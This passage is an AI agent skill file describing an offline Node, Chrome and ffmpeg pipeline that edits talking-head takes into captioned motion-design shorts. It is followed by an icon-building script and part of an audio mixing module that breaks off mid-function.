short-editing

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Edits a talking-head take end to end into a paper-style motion design short (1080x1920, also 1:1 and 16:9) with its own render engine (Node + Chrome + ffmpeg, free, offline). Use when the user says edit, cut, captions, subtitles, motion design, montage, "make it a short", render, or gives a recording from video-agent/takes/. Transcribes locally with word timings (whisper.cpp, or ElevenLabs when a key is set), cuts every silence, lays the boards on a textured paper above the camera card (counters, terminals, logos, trees, real screens, HTML motion components), word-by-word captions, a calm music bed, a few designed hits, -14 LUFS, and writes the mp4, an .srt and the post copy.

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---
name: short-editing
description: Edits a talking-head take end to end into a paper-style motion design short (1080x1920, also 1:1 and 16:9) with its own render engine (Node + Chrome + ffmpeg, free, offline). Use when the user says edit, cut, captions, subtitles, motion design, montage, "make it a short", render, or gives a recording from video-agent/takes/. Transcribes locally with word timings (whisper.cpp, or ElevenLabs when a key is set), cuts every silence, lays the boards on a textured paper above the camera card (counters, terminals, logos, trees, real screens, HTML motion components), word-by-word captions, a calm music bed, a few designed hits, -14 LUFS, and writes the mp4, an .srt and the post copy.
argument-hint: "<take file or slug> [9:16 | 1:1 | 16:9] [style <name>] [brief]"
allowed-tools: Bash(node *) Bash(ffmpeg *) Bash(ffprobe *) Bash(open video-agent/edits/*)
---

# Short Editing

One raw take in, one finished video out: `video-agent/edits/short-<slug>/output/short-<slug>.mp4`.

The engine ships in this skill folder (`<skill>` below): `<skill>/engine/short.mjs`. It is a deterministic canvas renderer driven by ONE file per short, `source/spec.js`. The design is a paper stage on top and the camera below, one accent color, springs that never overshoot, no pulse, no bounce. Everything runs on the creator's computer, macOS, Windows or Linux: Node 20+, ffmpeg, a Chrome (or the headless Chromium setup installs), whisper.cpp.

Read before writing a spec:

- [references/shorts-codes.md](references/shorts-codes.md): format, safe zones, hook and pace
- [references/design-system.md](references/design-system.md): palette, motion, paper, what is forbidden
- [references/scene-library.md](references/scene-library.md): every scene and item, every parameter, the time keys
- [references/music.md](references/music.md): the 8 beds, which fits which hook, where to start it
- [references/style.md](references/style.md): the house rules of the edit
- [examples/](examples/README.md): real shorts made with this engine (spec, components, contact sheets). Open the one closest to the request before planning: it is the quality bar.

## How to run it

- Talk in the creator's language (`creator.lang` of the style, else `video-agent/voice.md`, else English). Say in one line what each long step does and how long it takes.
- `<slug>`: lowercase, dashes, no dots or spaces.
- Every command runs from the project root (the folder that holds `video-agent/`).

## 0. Setup (first time only, then a 1 s check)

```bash
node <skill>/engine/setup.mjs --check || node <skill>/engine/setup.mjs
```

It installs what is missing: the engine packages (15 MB), a Chromium when no Chrome is installed (100 MB), whisper.cpp and its speech model (0.5 GB, once), the 8 music beds and the icons (generated on this computer). Tell them the first run takes 3 to 6 minutes. ffmpeg missing: it prints the command to install it (`brew install ffmpeg`, `winget install Gyan.FFmpeg`); run it with their ok, then setup again.

## 1. The take

Use the file they name, else the newest file in `video-agent/takes/`. A URL (YouTube, X, Instagram, Loom, a direct mp4): `yt-dlp -f "bv*+ba/b" --merge-output-format mp4 -o "video-agent/takes/<slug>.%(ext)s" "<url>"` first.

```bash
ffprobe -v error -show_entries format=duration:stream=codec_type,width,height -of compact "<take>"
```

No audio stream: stop and say so. Then create the project:

```bash
node <skill>/engine/short.mjs init video-agent/edits/short-<slug> --source "<take>" [--style <name>]
```

- The style: `style <name>` in the request = `video-agent/styles/<name>/style.json`, passed as `--style <name>` (only when that folder exists: an unknown name stops `init`, so list `video-agent/styles/` instead). Without it, `init` takes the default one (`video-agent/style.json` names it). No style at all: first write `video-agent/styles/default/style.json` = `{"version": 1, "name": "default"}` plus the `style` of the `default` look of `<skill>/assets/looks.json` (system font, camera full width, mono caps captions on a black band), and `video-agent/style.json` = `{"default": "default"}`, then say once that `/studio-setup style` makes it theirs in 2 minutes.
- `init` makes `assets/ files/ source/ output/ stills/`, copies the take to `assets/source.mp4`, frames `cam` on the face, writes the starter `source/spec.js` and snapshots the style into `source/style.json` (engine defaults < style < spec: the spec only sets what differs for this one short). The style's `assets/` (logos, images) are copied into the project.
- Format: `9:16` by default. `1:1` = `format: 'square'` (X feed), `16:9` = `format: 'wide'` in the spec.

## 2. Words

```bash
node <skill>/engine/short.mjs words video-agent/edits/short-<slug> [lang]
```

whisper.cpp on this computer, about real time (a 60 s take, about a minute), free. With an ElevenLabs key (`ELEVENLABS_API_KEY=` or `ELEVEN_KEY=` in `video-agent/.env`, the project `.env` or the environment), ElevenLabs Scribe instead, on its own: it hears every retake and false start that whisper smooths over, and names; a few cents a take. Recommend it once when a take has retakes. Never ask for a key in chat, never print one.

Then `prepare` (step 4) once: it writes `files/words.md`, every word with its SOURCE time and the SHORT time it lands on after the cuts. Fix misheard words from the script with `captions.replace: [['clics cloud', 'skills Claude']]`, never by editing the times.

## 3. The spec

Author `source/spec.js` from `files/words.md`. All times are SOURCE seconds; the engine maps them onto the tightened cut. Start from the starter spec `init` wrote, and from the closest example.

Plan the beats first, in a comment block at the top of the spec:

- **Hook** (first 2 s): readable on the first frame, never blank paper at t=0. It adds to the spoken hook, never repeats it.
- **Something changes every 2 to 4 s**: a new board, a counter that counts, a terminal that types, a logo that lands, a line struck. Each on the exact word it illustrates (`at` = that word's source time).
- **Pick the item from what is said** (all in scene-library): a figure = `counter` (`countFrom`/`countTo`, `strikeAt` when it dies); a command or a prompt = `term` (`typeFrom`, `typeTo`, `out` lines); a folder or a list of parts = `tree`; a tool named = its real `logo`; a result = `check`; a real screen = `screen` (zoom keys + rings on the number they read); a tweet = `tweet`; before / after = two boards or `bars`; the big payoff = `stat` or a board with one huge `text` and an `emph` word.
- **Camera**: `layout.keys: [[t, seam]]`, seam 1160 = split (paper above, camera card below), 1920 = paper alone, 0 = full camera. Full camera only for the direct lines (a story, a reaction, the CTA) and for 5 s or more of SHORT time; a style with a fixed `layout.seam` keeps that one size all along.
- **Every beat is an action**, never an image sitting there. A software idea (source code, privacy, price, speed) is played in a recreated UI: code that scrolls then blacks out line by line, a lock that closes, a price that drops to 0 under a stamp. A platform named with a number is its real interface recreated and animated (the GitHub repo page, the stars curve settling on the real figure). Never a screenshot pasted as an image (even zoomed or circled), a lone logo, a text card or a still illustration: a screenshot is only a reference to rebuild in HTML.
- **The hook gets the most work**: a 2 or 3 act mini story with a reversal, several layers moving together, an impact (stamp + thud) on each keyword, the payoff as a badge. For example: the big apps crush the viewer's app under a REPLACED stamp; on the turning word ("now") it flips, the viewer's app becomes the giant. A hook that places one object and slides it is not enough: rebuild it richer, never tweak it.
- **Motion components**: what the library cannot draw well (a real app in its own UI, an Instagram comment sheet, a notification, a GitHub repo page, a software idea, the hook's mini story, an illustration that acts) becomes an HTML page with `window.setT(t)`, captured into a clip (step 3b). The examples hold a dozen of them to copy.
- **Captions**: on by default, on the seam. `captions.emph` = the words in the accent color, `captions.hide: [[a, b]]` over a board that carries the same words.
- **Music**: one bed from [music.md](references/music.md) picked by the hook's emotion, `music: { bed: '<id>', offset }`. Never the same bed as the previous short.
- **Sound**: `sfx: { swish: 0, accents: 0, extra: [[t, 'thud', -6]] }`: no movement noise, a `thud` or `pop` only on a real payoff. Bigger moments (the hook cut, the payoff, a shatter) take a bundled file from `assets/sfx/` (`zhhh`, `impact-boom`, `riser`, `glass-shatter`...), all in [references/sfx.md](references/sfx.md). Never generate a sound with ElevenLabs unless the creator asks for one the library lacks.
- **Real logos, always**: every tool or app named on screen shows its real icon in `assets/logos/<name>.png` (the App Store icon, the official site or repo), never a letter glyph, never an emoji, never a look-alike. Download it into the project and say from where.
- No em-dashes in any on-screen text.

### 3b. Motion components

One HTML file per component in `source/<name>.html`, 1080 wide (or the card size), every animation a pure function of `t` set by `window.setT(t)` (no CSS animation, no timers), transparent background for an overlay. See [references/sub-agents.md](references/sub-agents.md) for the page contract and the prompt to give a sub-agent (one per component, in parallel, when the harness has sub-agents; else build them one after the other). Capture:

```bash
node <skill>/engine/short.mjs capture video-agent/edits/short-<slug> source/<name>.html --dur 4.5 --alpha --out assets/<name>.mov
```

Read its `stills/<name>-sheet.jpg`, then wire it: `media: { x: { src: 'assets/<name>.mov', width: 1080, alpha: true } }` plus an `overlay` scene (or an actor on the board), see `examples/thinking-orbs/source/spec.js`.

## 4. Prepare

```bash
node <skill>/engine/short.mjs prepare video-agent/edits/short-<slug>
```

Cuts every micro silence, applies the speed (1.15 by default), splices the voice, extracts the camera and media frames (cached), writes `assets/timeline.json` and `files/words.md`. Rerun it after a change to `cut`, `cam` or `media`. `cut: [[a, b]]` (source time) drops a retake or a false start: walk the script, keep the last complete attempt of each line.

## 5. Stills, then critique (the main loop)

```bash
node <skill>/engine/short.mjs stills video-agent/edits/short-<slug> 0.3 2.9s 6.4s 9s 12.9s
```

Plain numbers = SHORT time, an `s` suffix = SOURCE time. Take one still per beat (the moment it is complete), plus the hook and the last second. Read `stills/contact.jpg`, then zoom the full-size stills, and check the quality bar below. Fix the spec, stills again. Stills cost seconds, renders cost minutes: iterate here.

## 6. Render, sound, final

```bash
node <skill>/engine/short.mjs all video-agent/edits/short-<slug>
```

Render + audio (ducked voice, music bed, SFX, mixed beside the render) + final (mux, poster, QC), all at once. On an Apple Silicon Mac a 36 s short takes about 5 s (the render alone about 4 s, 250 fps, WebCodecs H.264 inside Chrome with 2 workers); slower machines take longer, so run it in the background and say how long. After a sound change, rerun only `audio` and `final`. The QC line must read `h264 1080 1920` (or `1080 1080`, `1920 1080`), a duration equal to the timeline, about -14 LUFS and a true peak at or under -1 dBTP (else `mix: { ceil: -2.2 }` in the spec, then `audio` and `final` again). Draft: `render ... --scale .5`.

## Quality bar (every contact sheet)

- The hook reads on the first frame.
- Every beat acts. On each beat's still, ask « is something happening, or is it an image sitting there? ». A sitting image (a screenshot, a still illustration, a logo next to a counter, a text card) is a component to redo before rendering.
- Every board fills the paper: big mobile text (nothing under 34 px, captions about 84 px), 1 to 3 lines, nothing cut at the edges, nothing in the safe zones of [shorts-codes.md](references/shorts-codes.md).
- Captions never overlap a card, a CTA or a chat composer (`captions.hide`).
- One accent color per moment; accent words only from `captions.emph` and `emph`.
- Cards never change size; the camera card never resizes. A full-camera stretch lasts 5 s or more.
- No ghost of the old beat under the new one, no counter parked on 0, no two values stacked in one slot.
- Camera colors natural: bright warm skin, never grey or greenish (`stills/grade.jpg`).
- Every named tool shows its real logo.
- Sound: the voice on top, the bed breathing between sentences, hits only on real payoffs, no whooshes.

## 7. Deliver

In `video-agent/edits/short-<slug>/output/`: `short-<slug>.mp4` and its poster. Then write next to them:

- `short-<slug>.srt`: from `files/words.md` (the SHORT times), up to 7 words per cue, a new cue after each sentence.
- `post.md`: the post copy (below).

Open the video so they watch it right away: `open <mp4>` (macOS), `start "" "<mp4>"` (Windows), `xdg-open <mp4>` (Linux). Say the length, what was cut, the bed and why, and offer one change ("another hook? a board on another word? full camera on the story?"). A change = edit `spec.js`, stills, `all` again. A change they want on every video (accent, font, captions, pace) goes in their style (`video-agent/styles/<name>/style.json`, schema in [style-schema.md](references/style-schema.md)), not only in this spec. Next: `/publish short-<slug>`.

On their first finished video only (the only folder in `video-agent/edits/`), end with one line in their language: a one-minute review of the free pack helps make it better, https://codelynx.dev/editing/feedbacks. Never again after that.

## Post copy

`post.md`, from the script and voice.md, in the language of the video:

- **Title** (YouTube Shorts): under 60 characters, the topic in the first 3 words.
- **Caption**: the first 125 characters work on their own. Then 1 or 2 short lines and one ask (the CTA of the style).
- **Search words**: the 2 or 3 words their viewer would type, written plainly in the title or the first line.
- **Hashtags**: 3 to 5 about the topic. No #fyp or #viral.
- Nothing the video doesn't say.

Run the humanize pass of `studio-script` (its `references/humanize.md`) on it when that skill is installed.

## CapCut or Premiere

Some creators prefer their editor. Do steps 0 to 4 (the spec with no scenes), then give them `files/words.md` (the cut, word by word) and the plain cut: `node <skill>/engine/short.mjs rough video-agent/edits/short-<slug>` writes `output/short-<slug>-rough.mp4` (every silence cut, full frame, no motion design) to import, with the `.srt` of step 7.

## Paper-only (no take)

`silent: true` and `duration: <s>` in the spec, `init` without `--source`, skip step 2. No voice, camera or captions; the music and the on-screen text carry it, same pace rule.

## Honest limits

- whisper.cpp mishears names and jargon: fix them with `captions.replace`, check numbers by eye.
- A cut can clip a breath or a soft last syllable: watch the result once before posting.
- Claude cannot hear the take: it trusts the timings. Bad audio (music, echo, two voices) makes them worse.
- Face framing is exact on macOS (Apple Vision); on Windows and Linux it uses MediaPipe in Chrome, check `cam` on the first still.
- The review studio, the Recorder, the B-roll library, the faceless mascot and the thumbnails come with the paid kit, Editing IA Pro.

// House icon set = Google Noto Emoji (Apache 2.0, github.com/googlefonts/noto-emoji), the default icon library everywhere
// (the creator 2026-10-15, after a side-by-side test of Fluent 3D, Noto and Phosphor on the Editing IA Pro VSL).
// Bare color emoji on transparent, never on a tile: <name>.png and glyph/<name>.png are the same 512 px image
// (both paths kept so older specs keep working), svg/<name>.svg is the source.
// The names stay the house names, so specs that use assets/icons/<name>.png or glyph/<name>.png keep working.
// Add an icon: one line in ICONS (house name: Noto name, search https://icon-sets.iconify.design/noto/), then run:
//   cd ../../engine && npm install && node ../assets/icons/build-icons.mjs
// The SVGs come from the Iconify API in one request (it rate-limits per-icon calls) and stay in svg/; delete svg/<name>.svg to fetch it again.
import { chromium } from '../../engine/node_modules/playwright-core/index.mjs';
import { existsSync, mkdirSync, readFileSync, writeFileSync } from 'node:fs';
import { dirname, join } from 'node:path';
import { fileURLToPath } from 'node:url';

const here = dirname(fileURLToPath(import.meta.url));

// house name: Noto name
const ICONS = {
  warning: 'warning', skull: 'skull', cross: 'cross-mark', fear: 'fearful-face', tomb: 'headstone', locked: 'locked',
  refund: 'receipt', check: 'check-mark-button', crown: 'crown', rocket: 'rocket', trophy: 'trophy',
  unlocked: 'unlocked', sunrise: 'sunrise', bolt: 'high-voltage', gift: 'wrapped-gift', play: 'clapper-board',
  money: 'euro-banknote', connected: 'electric-plug', arrowdown: 'backhand-index-pointing-down', 'arrow-down': 'backhand-index-pointing-down',
  ant: 'ant', brain: 'brain', bread: 'bread', bulb: 'light-bulb', calendar: 'spiral-calendar', camera: 'movie-camera',
  chat: 'speech-balloon', clock: 'alarm-clock', collision: 'collision', cool: 'smiling-face-with-sunglasses',
  coupon: 'admission-tickets', cursor: 'computer-mouse', elephant: 'elephant', eye: 'eyes', factory: 'factory',
  globe: 'globe-showing-europe-africa', goldfish: 'fish', hook: 'hook', hourglass: 'hourglass-not-done', laptop: 'laptop',
  megaphone: 'megaphone', mic: 'studio-microphone', mountain: 'snow-capped-mountain', palette: 'artist-palette',
  pencil: 'pencil', phone: 'mobile-phone', question: 'red-question-mark', robot: 'robot', scissors: 'scissors',
  script: 'scroll', shield: 'shield', tag: 'label', users: 'busts-in-silhouette', search: 'magnifying-glass-tilted-left',
  folder: 'open-file-folder', file: 'page-facing-up', envelope: 'envelope', heart: 'red-heart', star: 'star',
  timer: 'timer-clock', copy: 'clipboard', code: 'keyboard', ruler: 'straight-ruler', bookmark: 'bookmark',
  wrench: 'wrench', car: 'automobile', tyre: 'wheel',
  house: 'house', server: 'desktop-computer', support: 'technologist', repeat: 'counterclockwise-arrows-button', pin: 'pushpin', link: 'link',
  image: 'framed-picture', music: 'musical-notes', upload: 'outbox-tray', film: 'film-frames', waveform: 'speaker-high-volume',
  // podcast ép. 4 v3 (the creator 2026-10-16: « on utilise les émojis Google maintenant, que ce soit plus clean »): house name = Noto name
  fire: 'fire', 'money-bag': 'money-bag', 'money-with-wings': 'money-with-wings', 'chart-increasing': 'chart-increasing', 'chart-decreasing': 'chart-decreasing', 'bar-chart': 'bar-chart',
  handshake: 'handshake', 'thumbs-up': 'thumbs-up', 'thumbs-down': 'thumbs-down', 'clapping-hands': 'clapping-hands', 'raising-hands': 'raising-hands', 'flexed-biceps': 'flexed-biceps',
  'face-with-tears-of-joy': 'face-with-tears-of-joy', 'rolling-on-the-floor-laughing': 'rolling-on-the-floor-laughing', 'exploding-head': 'exploding-head', 'face-screaming-in-fear': 'face-screaming-in-fear', 'thinking-face': 'thinking-face', 'face-with-monocle': 'face-with-monocle',
  'face-with-symbols-on-mouth': 'face-with-symbols-on-mouth', 'smiling-face-with-heart-eyes': 'smiling-face-with-heart-eyes', 'star-struck': 'star-struck', 'partying-face': 'partying-face', 'pile-of-poo': 'pile-of-poo', ghost: 'ghost',
  alien: 'alien', 'clown-face': 'clown-face', 'nerd-face': 'nerd-face', 'sleeping-face': 'sleeping-face', 'yawning-face': 'yawning-face', 'face-with-rolling-eyes': 'face-with-rolling-eyes',
  'grimacing-face': 'grimacing-face', 'see-no-evil-monkey': 'see-no-evil-monkey', 'shushing-face': 'shushing-face', 'zipper-mouth-face': 'zipper-mouth-face', 'hot-face': 'hot-face', 'cold-face': 'cold-face',
  'woozy-face': 'woozy-face', 'crying-face': 'crying-face', 'loudly-crying-face': 'loudly-crying-face', 'skull-and-crossbones': 'skull-and-crossbones', bomb: 'bomb', sparkles: 'sparkles',
  'hundred-points': 'hundred-points', 'dollar-banknote': 'dollar-banknote', coin: 'coin', 'credit-card': 'credit-card', 'gem-stone': 'gem-stone', 'shopping-cart': 'shopping-cart',
  package: 'package', 'office-building': 'office-building', school: 'school', bank: 'bank', 'classical-building': 'classical-building', briefcase: 'briefcase',
  'crystal-ball': 'crystal-ball', 'magic-wand': 'magic-wand', 'game-die': 'game-die', 'slot-machine': 'slot-machine', 'puzzle-piece': 'puzzle-piece', 'teddy-bear': 'teddy-bear',
  'cat-face': 'cat-face', 'dog-face': 'dog-face', 'pig-face': 'pig-face', 'cow-face': 'cow-face', tractor: 'tractor', seedling: 'seedling',
  sun: 'sun', 'cloud-with-lightning-and-rain': 'cloud-with-lightning-and-rain', tornado: 'tornado', rainbow: 'rainbow', snowflake: 'snowflake', droplet: 'droplet',
  volcano: 'volcano', airplane: 'airplane', 'racing-car': 'racing-car', ambulance: 'ambulance', 'police-car-light': 'police-car-light', construction: 'construction',
  'stop-sign': 'stop-sign', 'no-entry': 'no-entry', prohibited: 'prohibited', gear: 'gear', hammer: 'hammer', 'hammer-and-wrench': 'hammer-and-wrench',
  toolbox: 'toolbox', magnet: 'magnet', 'test-tube': 'test-tube', microscope: 'microscope', 'satellite-antenna': 'satellite-antenna', battery: 'battery',
  'low-battery': 'low-battery', 'floppy-disk': 'floppy-disk', television: 'television', 'video-game': 'video-game', joystick: 'joystick', headphone: 'headphone',
  bell: 'bell', 'bell-with-slash': 'bell-with-slash', loudspeaker: 'loudspeaker', 'muted-speaker': 'muted-speaker', key: 'key', 'old-key': 'old-key',
  door: 'door', bed: 'bed', pill: 'pill', syringe: 'syringe', ear: 'ear', 'man-technologist': 'man-technologist',
  ninja: 'ninja', superhero: 'superhero', detective: 'detective', vampire: 'vampire', mage: 'mage', genie: 'genie',
  ring: 'ring', 'graduation-cap': 'graduation-cap', backpack: 'backpack', books: 'books', notebook: 'notebook', memo: 'memo',
  newspaper: 'newspaper', paperclip: 'paperclip', wastebasket: 'wastebasket', 'file-cabinet': 'file-cabinet', 'inbox-tray': 'inbox-tray', 'e-mail': 'e-mail',
  'incoming-envelope': 'incoming-envelope', 'ballot-box-with-ballot': 'ballot-box-with-ballot', stopwatch: 'stopwatch', 'hourglass-done': 'hourglass-done', 'balance-scale': 'balance-scale', 'sports-medal': 'sports-medal',
  '1st-place-medal': '1st-place-medal', 'flying-saucer': 'flying-saucer', 'crossed-swords': 'crossed-swords', dagger: 'dagger', axe: 'axe', chains: 'chains',
  'red-exclamation-mark': 'red-exclamation-mark', 'double-exclamation-mark': 'double-exclamation-mark', 'exclamation-question-mark': 'exclamation-question-mark', 'thought-balloon': 'thought-balloon', 'right-anger-bubble': 'right-anger-bubble', 'waving-hand': 'waving-hand',
  'ok-hand': 'ok-hand', 'pinched-fingers': 'pinched-fingers', 'victory-hand': 'victory-hand', 'crossed-fingers': 'crossed-fingers', 'index-pointing-up': 'index-pointing-up', 'backhand-index-pointing-right': 'backhand-index-pointing-right',
  'writing-hand': 'writing-hand', 'folded-hands': 'folded-hands', 'palms-up-together': 'palms-up-together', 'person-shrugging': 'person-shrugging', 'person-facepalming': 'person-facepalming', 'person-gesturing-no': 'person-gesturing-no',
  'person-running': 'person-running', 'person-lifting-weights': 'person-lifting-weights', 'speaking-head': 'speaking-head', 'bust-in-silhouette': 'bust-in-silhouette', pizza: 'pizza', hamburger: 'hamburger',
  'french-fries': 'french-fries', sushi: 'sushi', spaghetti: 'spaghetti', croissant: 'croissant', 'birthday-cake': 'birthday-cake', cookie: 'cookie',
  'hot-beverage': 'hot-beverage', 'beer-mug': 'beer-mug', 'clinking-beer-mugs': 'clinking-beer-mugs', 'bottle-with-popping-cork': 'bottle-with-popping-cork', popcorn: 'popcorn', carrot: 'carrot',
  banana: 'banana', 'red-apple': 'red-apple', lemon: 'lemon', 'hot-pepper': 'hot-pepper', 'honey-pot': 'honey-pot', soap: 'soap',
  broom: 'broom', basket: 'basket', bucket: 'bucket', 'fire-extinguisher': 'fire-extinguisher', 'shopping-bags': 'shopping-bags', balloon: 'balloon',
  'party-popper': 'party-popper', fireworks: 'fireworks', 'money-mouth-face': 'money-mouth-face', 'nauseated-face': 'nauseated-face', 'face-with-head-bandage': 'face-with-head-bandage', 'face-with-thermometer': 'face-with-thermometer',
  'face-with-medical-mask': 'face-with-medical-mask', 'cowboy-hat-face': 'cowboy-hat-face', 'disguised-face': 'disguised-face', 'smiling-face-with-horns': 'smiling-face-with-horns', 'angry-face-with-horns': 'angry-face-with-horns', 'anatomical-heart': 'anatomical-heart',
  bone: 'bone', tooth: 'tooth', 'chart-increasing-with-yen': 'chart-increasing-with-yen', goblin: 'goblin', cat: 'cat', dog: 'dog',
  mouse: 'mouse', rat: 'rat', snail: 'snail', turtle: 'turtle', snake: 'snake', dragon: 'dragon',
  unicorn: 'unicorn', monkey: 'monkey', gorilla: 'gorilla', shark: 'shark', octopus: 'octopus', butterfly: 'butterfly',
  spider: 'spider', 't-rex': 't-rex', sauropod: 'sauropod', chicken: 'chicken', 'baby-chick': 'baby-chick', egg: 'egg',
  cooking: 'cooking', moai: 'moai', 'wilted-flower': 'wilted-flower', sunflower: 'sunflower', 'four-leaf-clover': 'four-leaf-clover', cactus: 'cactus',
  'deciduous-tree': 'deciduous-tree', 'evergreen-tree': 'evergreen-tree', 'desert-island': 'desert-island', 'world-map': 'world-map', compass: 'compass', stethoscope: 'stethoscope',
  'adhesive-bandage': 'adhesive-bandage', 'drop-of-blood': 'drop-of-blood', 'broken-heart': 'broken-heart', 'heart-on-fire': 'heart-on-fire', 'sparkling-heart': 'sparkling-heart', lollipop: 'lollipop',
  'chocolate-bar': 'chocolate-bar', doughnut: 'doughnut', ice: 'ice', 'yo-yo': 'yo-yo', kite: 'kite', boomerang: 'boomerang',
  bullseye: 'bullseye', bowling: 'bowling', 'video-camera': 'video-camera', 'camera-with-flash': 'camera-with-flash', 'film-projector': 'film-projector', 'level-slider': 'level-slider',
  'control-knobs': 'control-knobs', radio: 'radio', trumpet: 'trumpet', guitar: 'guitar', drum: 'drum', saxophone: 'saxophone',
  violin: 'violin',
};

for (const d of ['svg', 'glyph']) mkdirSync(join(here, d), { recursive: true });
const svgFile = name => join(here, 'svg', name + '.svg');
const missing = Object.entries(ICONS).filter(([name, noto]) => !existsSync(svgFile(name)) || !readFileSync(svgFile(name), 'utf8').includes(`<!-- noto:${noto} -->`));
if (missing.length) {
  const res = await fetch(`https://api.iconify.design/noto.json?icons=${[...new Set(missing.map(([, n]) => n))].join(',')}`);
  if (!res.ok) throw new Error(`Iconify answered ${res.status}, try again in a few minutes`);
  const set = await res.json();
  for (const [name, noto] of missing) {
    const icon = set.icons?.[noto];
    if (!icon) throw new Error(`no Noto icon "${noto}" for ${name}`);
    const w = icon.width ?? set.width ?? 128, h = icon.height ?? set.height ?? 128;
    writeFileSync(svgFile(name), `<!-- noto:${noto} -->\n<svg xmlns="http://www.w3.org/2000/svg" width="512" height="512" viewBox="0 0 ${w} ${h}">${icon.body}</svg>`);
  }
}

// installed Chrome (macOS, Windows, Linux) unless CHROME_PATH points at another Chromium
const browser = await chromium.launch(process.env.CHROME_PATH ? { executablePath: process.env.CHROME_PATH } : { channel: 'chrome' });
const page = await browser.newPage({ viewport: { width: 512, height: 512 } });
for (const name of Object.keys(ICONS)) {
  const svg = readFileSync(join(here, 'svg', name + '.svg'), 'utf8');
  await page.setContent(`<html><body style="margin:0;background:transparent"><div class="g" style="width:512px;height:512px">${svg}</div></body></html>`);
  await page.locator('.g').screenshot({ path: join(here, name + '.png'), omitBackground: true });
  writeFileSync(join(here, 'glyph', name + '.png'), readFileSync(join(here, name + '.png')));
}
await browser.close();
console.log(Object.keys(ICONS).length, 'Noto icons ->', here);

// Audio for a short: cleaned voice + music bed ducked under it + spec-driven paper SFX -> assets/mix.wav (48k, 24-bit).
// Voice: ffmpeg high-pass 80 Hz + gentle compression, then normalised to -16 LUFS. Bed and SFX are auto-levelled
// to LUFS targets relative to that (spec.mix = {music: -28, sfx: -29.5, duck: .5}), master limited to -14 LUFS / -1.5 dBTP.
// The SFX level is measured on the event hits only (pops, ticks, taps, bells...). Noise strokes (slides, whooshes,
// highlights) ride at the same gain but stay out of the measurement, so thinning or softening them makes the short
// quieter instead of pushing every other hit up.
import fs from 'node:fs';
import os from 'node:os';
import path from 'node:path';
import { execFileSync } from 'node:child_process';
import { fileURLToPath } from 'node:url';
import { mapper, mapSpec } from './lib/timeline.js';
import { SR, studio, freeverb, lufs, limit, clamp } from './lib/dsp.js';
import { sfxCues, kitHits, score } from './lib/cues.js';
import { FFMPEG } from './platform.mjs';

const db = x => Math.pow(10, x / 20);

// spec.music.bed: a bed of the skill's library by id (assets/music/<id>.mp3, see references/music.md).
// spec.music.src: any track file instead (mp3, wav, m4a...; ~, absolute or project-relative path). Either replaces the
// generated score. Read from music.offset s into the file, laid from music.start to music.end (SHORT time), looped
// when the track is shorter, faded in .4 s / out 1.2 s. The mixer still levels it to mix.music and ducks it.
function trackBed(M, src, P, T, X) {
  const f = src.replace(/^~/, os.homedir()), file = path.isAbsolute(f) ? f : P(f);
  if (!fs.existsSync(file)) throw new Error(`music.src not found: ${file}`);
  const i0 = Math.max(0, Math.round((M.start ?? 0) * SR)), i1 = Math.min(X.N, Math.round(Math.min(T, M.end ?? T) * SR)), fi = (M.fi ?? .4) * SR, fo = (M.fo ?? 1.2) * SR;
  // decode only the stretch laid (+1 s): the library beds run 150 s, a short uses 30
  const pcm = execFileSync(FFMPEG, ['-v', 'error', ...(M.offset ? ['-ss', String(M.offset)] : []), '-i', file, '-t', String(Math.max(0, i1 - i0) / SR + 1), '-ac', '2', '-ar', String(SR), '-f', 'f32le', '-'], { maxBuffer: 1 << 30 });
  const a = new Float32Array(pcm.buffer, pcm.byteOffset, pcm.length / 4), L = a.length >> 1; if (!L) throw new Error(`music.src decoded empty: ${file}`);
  for (let i = i0; i < i1; i++) {
    const k = (i - i0) % L, e = Math.min(1, (i - i0) / fi, (i1 - i) / fo);
    X.MUS[0][i] += a[2 * k] * e; X.MUS[1][i] += a[2 * k + 1] * e;
  }
}

export async function buildAudio(proj, raw) {
  const P = (...a) => path.join(proj, ...a), t0 = Date.now();
  const tl = JSON.parse(fs.readFileSync(P('assets/timeline.json'), 'utf8')), m = mapper(tl), T = tl.duration;
  const spec = mapSpec(raw, m); spec._map = m; spec._jumps = (raw.cut || []).map(([a]) => m(a));
  const mm = v => v != null ? m(v) : undefined;
  if (spec.music) spec.music = { ...spec.music, breaks: (raw.music?.breaks || []).map(([a, b]) => [m(a), m(b)]), end: mm(raw.music?.end), start: mm(raw.music?.start), drops: (raw.music?.drops || []).map(m) };
  const mixCfg = { music: -28, sfx: -29.5, duck: .5, ...(spec.mix || {}) };

  // ---- voice
  const X = studio(T), N = X.N, V = new Float32Array(N);
  if (!raw.silent) {   // spec.silent: paper-only piece, music + SFX only
    const pcm = execFileSync(FFMPEG, ['-v', 'error', '-i', P('assets/voice.wav'), '-af',
      'highpass=f=80,lowpass=f=15000,acompressor=threshold=0.125:ratio=3:attack=5:release=90:makeup=2',
      '-ac', '1', '-ar', String(SR), '-f', 'f32le', '-'], { maxBuffer: 1 << 30 });
    const vsrc = new Float32Array(pcm.buffer, pcm.byteOffset, pcm.length / 4);
    V.set(vsrc.subarray(0, Math.min(N, vsrc.length)));
    const vg = db(-16 - lufs([V, V])); for (let i = 0; i < N; i++) V[i] *= vg;
  }
  // inserted narrator (spec.pause): same chain, own -16 LUFS normalisation, dropped into the silent gap
  if (tl.pause && raw.pause?.voice) {
    const np = execFileSync(FFMPEG, ['-v', 'error', '-i', P(raw.pause.voice), '-af', 'highpass=f=90,lowpass=f=15000,acompressor=threshold=0.125:ratio=3:attack=5:release=90:makeup=2',
      '-ac', '1', '-ar', String(SR), '-f', 'f32le', '-'], { maxBuffer: 1 << 30 });
    const nv = new Float32Array(np.buffer, np.byteOffset, np.length / 4), ng = db(-16 - lufs([nv, nv])) * db(raw.pause.gain ?? 0), i0 = Math.round(tl.pause.t0 * SR);
    for (let i = 0; i < nv.length && i0 + i < N; i++) V[i0 + i] += nv[i] * ng;
  }
  // spec.inserts: each clip in its own gap (tl.inserts), same chain, fixed RMS gain like spec.voices (too short to gate)
  (raw.inserts || []).forEach((v, k) => {
    const g = tl.inserts?.[k]; if (!g) return;
    const np = execFileSync(FFMPEG, ['-v', 'error', '-i', P(v.voice), '-af', 'highpass=f=90,lowpass=f=15000,acompressor=threshold=0.125:ratio=3:attack=5:release=90:makeup=2',
      '-ac', '1', '-ar', String(SR), '-f', 'f32le', '-'], { maxBuffer: 1 << 30 });
    const nv = new Float32Array(np.buffer, np.byteOffset, np.length / 4), l = lufs([nv, nv]);
    let rms = 0; for (let i = 0; i < nv.length; i++) rms += nv[i] * nv[i]; rms = Math.sqrt(rms / nv.length);
